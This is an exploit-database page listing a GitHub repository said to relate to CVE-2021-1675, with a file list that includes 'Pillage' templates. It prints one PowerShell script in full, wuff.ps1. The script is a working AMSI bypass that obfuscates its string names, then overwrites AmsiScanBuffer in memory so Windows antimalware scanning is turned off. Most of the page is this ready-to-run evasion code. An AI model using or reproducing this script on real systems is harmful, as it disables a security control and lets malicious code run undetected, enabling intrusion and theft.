Exploit databaseDownload repository ZIP
GH-2f360c50c8e5282774f1c839195ed6d4
aesir9/helpinghand
Sources for CVE-2021-1675
56 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
aesir9/helpinghandRevision d1dd40cfd517
- ↑..Parent directory
- HHCompanion.ps1
- HHCompanion.sh
- TEMPLATE_Pillage-Stage2.ps1
- TEMPLATE_Pillage.ps1
- TEMPLATE_Pillage.sh
- wuff.ps1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
app/custom/wuff.ps1
PowerShell · 948 bytes$Wuff = '
using System;
using System.Runtime.InteropServices;
public class Wuff {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern void CopyMemory(IntPtr dest, IntPtr src, uint count);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void cp(byte[] source, IntPtr dest, int count) {
Marshal.Copy(source, 0, dest, count);
}
}
';
Add-Type $Wuff;
$LoadLibrary = [Wuff]::LoadLibrary("a" + "m" + "si.dll");
$Address = [Wuff]::GetProcAddress($LoadLibrary, "Am" + "si" + "Sc" + "an" + "Bu" + "ff" + "er");
$p = 0;
[Wuff]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p);
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);
[Wuff]::cp($Patch, $Address, 6);